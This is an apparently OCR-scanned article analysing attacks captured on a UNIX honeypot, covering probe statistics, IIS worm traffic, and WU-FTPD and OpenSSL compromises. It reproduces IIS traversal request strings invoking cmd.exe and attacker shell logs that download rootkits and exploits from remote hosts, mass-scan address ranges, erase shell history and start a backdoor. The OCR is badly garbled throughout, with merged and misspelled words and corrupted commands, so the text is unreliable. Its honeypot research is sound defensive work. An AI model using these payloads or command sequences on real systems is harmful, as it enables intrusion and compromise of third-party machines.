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Analysis of real attacks launched at a honeypot

This article will cover some of the discoveries that can be made using honeypot
systems, exposed to the Internet. The materid is based on the author’s experi-
ence running such adecoy network of UNIX machinesfor over ayear. Wewill go
through several examples of captured hacker tools and cover common attack
examples. The subject of building ahoneypot will be left outsde the scope of the
paper. As a daring point, the author’'s presentation “Implementing the
Honeypot” (http://www.tracking-hackers.com/conf/dides implementing.pdf)
from ITRA Honeypots Conference (Las Vegas, NV, November 2002) is recom-

mended.

Amongothersecuritytechnologiesuch
as firewdls and intruson detection sys
tems,honeypotsurently occupyonly a
smdl niche. However, they are able to
provide unique attack information,
unobtainable by any other means This
vauable “indde” intelligence on mai-
cioushackerattacksalsocomesat a cost
of reatively high resource expenditures
and requires unique expertie |If
protectinga productionnetwak is simi-
lar to defendinga castlerunninga hon-
eynetismorelike runningaspynetwak,
deep behind enemy lines You have to
build defenses and hide and dodge
attackshatcannotedefende@dgainsat
the same time. No “lock it down and
maintain the secure dat€ modd is
possible.

That is why currently honeypots are
only deployed by the organizations that
can efford them (and people running
them)andat the samdime interestedn
castinga look deepinsidethe operations
of the underground hacker community.
While an intruson detection sygem
(IDS duck outsde the protected
perimeter will collect dl the Internet
“noisg’ hitting the sysems it will not
reved, for example, what are the com-
mon geps atackers take after compro-

mising the victim UNIX seer.

Fird, let us deine the terms
“Honeypd’ is a resouce whosevalueis
in being probed, atacked and possibly
evencompomisedoy malicioushackers
The term "honeynet," do used in this
aticle, originated in the Honeynet
Project(http://project.honeynet.orghd
describea netwak of computersystems
with fairly gandard configurations con-
nected to the Internet. The only differ-
enceis that all communicatiorand host
activities are recorded and anadyzed and
no attacksanescapte netwak dueto
the useof speciakecuritysoftwae. The
systemsre almostnever "weakenedfor
easer hacking, but are deployed in
default configurations with minimum
patches (as unfortunately, are 0 many
other machines on the Internet). A
Honeynetsthenaspecifitypeof ahon-
eypot, providing a maximum leve of
deception to atackers by cresting the
whole deay netwak. Honeynets may b
depbyedfor resech andprotectionpur-
poses-or moredetailsturn to Honeynet
Project  (http://project.honeynet.org),
Lance Spitzner (founder of the project)
webdgte (http://www.tracking-
hackers.conor therelatecbooks'Know
Your Enemy”’ by the Honeynet Project
and “Tracking Hackers' by Lance
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Honeynet’'s daily grind

Every day the sygems deployed in the
honeynetre subjecto dozensof probes
and atacks The number goes to
hundreds and sometimes thousands
when there is a worm outbresk. That
recently happened, for example, when
the SQL Sammerworm hit. It wasdis-
covered that certain sysem configura
tions (such as default ingdlations of
older Linux RedHa versons) are
attacked and successfully compromised
within days.

The firg graph shown in Fgure 1
representsthe reconnaissance activity for
various ports exposed on the honeynet,
collected over the period of
sverd months The graph is created by
the netForenscs SIM  solution,
which aggregates and correates data
from various monitoring devices
deployed in the honeynet, such as vari-
ous network IDS firewal and victim
hog operating sysem (0OS logs
netForens cs categorizes some derts as
reconnaissance. Those include port
ans, vftware verson queries, various
|CMP packets (represented by port “-1"
on the chart) and other information

5 gathering activities Such probes are

launched by attackers, looking for vari-
ous vulnerable applications to exploit.
The colour code represents event severi-
ty as defined by netForenscs. The over-
whelming mgority of those probes are
queries for open proxies, hogts that can
be used to rday connections, thus con-
cedling the origind source IP address
from the server. Such proxies, usualy
running on TCP ports 1080, 3128 and
8080 are abused by “spammers’?! and
“sript kiddies? alike. Also featured are
requess for DNS verson (UDP port
53), Web server (80), SSH daemon (22)
eand RPC (111), all popular targets for
attackers due to vulnerabilities discov-
ered in correponding software pack-
ages. Email reconnaissance (TCP port
25) is ds popular and is likdy attrib-
uted to spammers probing the
machinesfor open rdaysi.e hogsalow-
ing anybody to send email messages to
third parties. Quch rdays usad to be the
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main sources of goam around the world.
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Figure 1:Reconnaissance activity for ports exposed on the honeynet

Note tha if the reconnaissance ativity
yiddsthe desred results (uch asthe pres:
ence of a vulnerable srvice on a probed
port) to the atacker, the exploit atempt

will follow within minutes (sometimes

more) and thetarget compromiseislikdy.

The next graph shown in Figure 2
demonstrates actual attacks.

TCP port 80 is the absolutechampion
here; dueto all the CodeRedandNimda
variants (dill dive) and various other
automated tools looking for vulnerable
Microoft 1S Web srvers  While
Codd&rRedwaslaunchedn July 2001and
the flood has dwindled, it is gill very
muchalive andwell, andproducedplen-
ty of “children” (i.e variants exploiting
similar holes).

Figure 3 shows some of the URL
stringsran by thoseautomatedgentsn
order to compromise the Windows
machineunning IIS.

All thoe Web requests are targeting vari-
ous holes auch as the Unicode parsng
erors leeding to execution of “cmd.exé’
commeand shdl and otherssuch asthefam-
ous“default.ida?XXXX...” — thedgnaure

>

of CodeRed. Hiding in the same noise ae
atacks agang UNIX Apache srvers
which utilize recently rdeasad exploit codes
Such atadks are much less numerous than
11S*hits, but are gill deedly for older ver-
sonsof Apache

VariousWindows attacksare targeting
TCP port 139, used by Microsoft
Remote Procedure Cal (RPC) services
Thesameort isalscuseddy the“pop-up
soam’, which utilizes Windows mesen-
gerseaviceto sendmnore unsoliciteccom-
mercialmessagés Windowsusers FTP
(TCPport 21)isanotheicommonchoice
for those attackers favouring Linux sys
tems The WU-FTPD FTP dasmon,
enabledy defaulton RecHat Linux 7.1
and earlier had a number of horrible
scurity  holes (uch as this one
http://www.cert.org/advisories/ CA-
2001-33.html reported in the CERT
advisory), dl leading to ingant remote
“root” compromise i.e. atacker possess
ing full privileges on a machine from
across the network. Few of those
machines are gill out there and thus
“gript kiddies' are on the prowl for

them. Over the courseof 2002, a Linux
machinegunningWU-FTPD wasusually
compomisedwithin 2-3 daydrom being
connected to the Internet, with the
recad time being 15 minutes (!).

Smilarly, TCP ports 25 and 110 are
attackedueto bugsn cetainversionsf
endmail and some POP3 daemons
Those attacksexelatiely less common.

Smilar gatigics but for the whole
Internet,may be obtainedfrom Dshield
(http://www.dshield.org) a globalsecu-
rity datasharingcommuni, run by the
SANSInstitute (http://wwv.sans.org).

However, the valueof the honeypotis
not only in observing the probes and
attacksbut alsowhathappensiext—the
compgomise.

The compromise
Suddeny, throughall thisnoisethe hon-
eynetis hit with an effectve attack— and
it fallsvictim to the exploitcode.What
happens next?

Usaudly, the remote exploit code gives
an attacker access to the victim server.
Such access might be privileged (or
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“root”) access or regular user access In
the latter case, the fird sep for the
attacker will be to confirm the “owned”
hogt operating sysem and search for
locd exploitsin order to excaateitspriv-
ileges After the loca exploit is success:
fully downloaded from public or private
exploit repodtory and executed, the root
access isusualy obtained. Now, itstime
for a good rootkit*. Smilarly, the kit is
downloaded from the Internet and
deployed on the compromised machine,
It gives an atacker the ability to hide
from the sygtem owners access the
machineat any timewithout resorting to
the exploit and ds to use it for such
“esentid” taksasattacking another sys
tem, waging denia-of-service (D oS) war
or chating on the IRC network.

The most common uses for such

promised systems are as follows:

1 IRC chat isoftenthemaincommuni-
cation link between the members of
various hacking groups Automated
IRC programgor “bots’) canalsobe
used for various other purposes such

as golen credit card trading, denid-
of-srvice, and even control of the
compomised systems.

2 Mog attackers we observed used the
compromised sysem for vulnerabili-
ty scanning and  widespread
exploitation. Many of the scanners
such as opensd autorooter, recently
discovered by the honeynet project,
do not even need “root” access
to operate, but are ill capable of
discovering  and  exploiting a
massve (over 1000) sysem within a
short time period. Such large net-
works can be used for devastating
denia-of-service attacks (for exam-
ple, such as recently warned by
CERT)

3 DoSattacksrestill oneof thewaygo
settleargumentén someessenlight-

corfned  pats of the computer
underground. Unleashing massive
floods of ICMR UDP or SYN
packetstill work againstnachinesn
the slow connectionsMore insidious
atacks, such as reflexive DNS DoS,
are extemelyhad to traceand often
impossible to mitigate.

honeypot intelligence

Thus an attacker dways finds use for
more and more compromised sysgems
Let us now look a two case dudies
obseved in our honeypot.

Examples

WU-FTPD

Fgure4 showsaLinux RedHathoneypot
that washit with the classisNVU-FTPD

exploit and “owned” from the
firg attempt. Figure 4 demondrates
wha the atacker did, as evidence by

his recorded command higory

(obtained usng the specidly modified

Linux “bash” shel, improved by the
author).

The commands show that the attacker
firg triesto obtan hisrootkit from his dte
on geodtiescom. The fird command
(“woet”) fals 0 heresortsto the FTP (his
username is sanitized for this paper). He
gdsthe kit (“m.tar.gZ’) and the verdon of
theFTP srver, which led himin (intending
to pach the whole). He then proceeds to
upgrade the wulnereble to a sfe verson —
hisown. Next, he unpacks and deploys his
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Figure 2: Demonstration of actual attack
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[scripts/..%2f../winnt/system32/cmd.exe?/c+dir
[scripts/..%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%5c%5c../winnt/system32/cmd.exe?/c+dir
[scripts/..%5c../winnt/system32/cmd.exe?/c+dir

/scripts/..\xcO\xaf../winnt/system32/cmd.exe?/c+dir
[scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
[scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
/_mem_hin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir

[scripts/root.exe?/c+dir/scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir

.exe?/c+dir
/IMSADC/root.exe?/c+dir

/msadc/..%b5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd

/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
/default.ida?X...X%u9090%u6858%uchd3%...

Figure 3: Examples of URL strings ran to compromise /1S

rootkit, thus repladng sverd sygem utili-
tiesand deploying amdidouskernd mod-
uleor LKM.

Next, hecomeshack to cause omemay-
hem using the automatedexploitation
tool, appaently similarto the one that
gave him this sygem. He downloads the
tool (WU-FTPD “autaoote” or auto-
mated exploitation tool) and getsto work.

Each of the commands shown in Fgure
5 seeksto scan aB-dass (65535 diging IP
addessesfor a singlevulnerability— a
WU-FTPD hole. Thus, if the alove
command were executed on a real
compromised sygem and not the honey-
pot, the attacker would have scanned more
than 200 000 system¢or this hole and
possbly compromised a amdl percentage
of them. However, all his scanningwas
quietly monitored by the honeypot <oft-
ware. He made saverd more atempts and
then vanishedto never come back. It
remans a mygery whether he was derted
by the appaent lack of resultsfrom his
anning or smply attribued it to a dow
network connection....

OpenS3_attack

Afterthe exploitcodefor the holeon the
popular open-source SSL package was
disclosed, a flood of attacks followed.
In fact, even some automated attack
agents (i.e worms) were deveoped
using this exploit (see, for example, this
http://isc.incidentsorg/andydshtml1d=
177 worm genealogy).

@

Our honeypot running Apachesever
with a vulnerableDpenSSlversion,was
compromised more than a dozen times
within ashat time period.Manyattack-
ers were unable to gain root access via
locd exploits and thus were unable to
path the sygem andremovethevulnera-
bility. It crested a mishmash of attacker
tools, piled in the /tmp directory of a
Linux machine.

Figure 6 shows one of the attack
attempts, recorded by the monitoring
shell.

The session shows a sad higtory of
multiple failed attemptsto break out of

a limited “apache’ user account. If an
OpenSSL hole is exploited the attacker
gans a shdl running with only
“apach€’ user permissons The attack-
er's immediate goal was to break into
“root” He firg tried getting a locd
exploit code from his own ste (sani-
tized address above). It failed miserably.
He then went to another dte and
fetched a copy of a different exploit.
Sill no reault. After an amazing num-
ber of attempts (about 10, not shown)
he finaly leaves the machine for his
succesorsto try. They don't let us wait
for long...

w
cd /usr/local/games
wget www.geocities.com/XXXXXXX
I's
ftp 209.1.225.194
evilusername
justasevilpassword
bin
I's
get m.tar.gz
get wu-ftpd-2.6.1-20.i386.rpm
bye
rpm -U wu-ftpd-2.6.1-20.i386.rpm
tar zxvf ")
rm -rf m.tar.gz
cd muie
Jinstall

Figure 4:Linux Redhat honeypot attacked using
WU-FTPD exploit




Gonclusion
Thisartide detals how the honeynet isan
extremdy vauable tool to collect intdli-
gence about certain parts of the computer
underground. However, running a honey-
pot incurs some risks as wel. Frg, wha
happens if the honeypot is used to atack
other parties? This quegtion has no dear
ansver gnce thereisno dear ansver even
to 'wha hgppens if your production sys
temsareused for atack? It isrecommend-
ed to consultyour legaldepatment for
advice before embarking on the honeynet
journey. The mere fact that noone has yet
bang sued for liability, doesnot meen that
there is no risk of that. Other risksare
rdated to mising some configuration ssfe-
guard and letting atackersbresk out. This
may be patially mitigatedby running a
honeypot on a sparate network connec-
tion, far from thelive sygem.

Dexite the riks running the honey-
pot is anexciting andeducationa¢xperi-
encewhichalsocontributedo a stateof
the at in information secusit
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unane -a; id
cd /tnp

cat /etc/red*
wget www. | i nuxaxxxxxxx. xx/ expl .tg
tar zxvf expl.tgz ; rm-rf expl.t
cd .l ocal

./ sxp3

./ sxp2

./ sxp2

./ sxp

mv ptrace24rh72.c /tnp

cd /tnp

wget VWV XXXXXXXXXXXX. I 0/ XXX

W,

uname -a; id; w
unset H STFI LE
cd /tnp

ftp XXXXXXXXXXXX.TO

unanme -a; id; w

U =48 unset H STFILE; unane -a
U =48 cd /tnp/.loca

U =48 ./bintty

U =48 ./bindtty

U =48 telnet 0 4000
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tar xfvz awu.tgz
rm -rf awu.tgz
cd aw
Jawu 128.93
JJawu 128.96
Jawu 128.97
Jawu 128.98
Jawu 128.99

N
211

ki Figure 5: Commands to scan a
B-class for the WU-FTPD hole
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Figure 6: Attack on Apache server with OpenSSL vulnerability




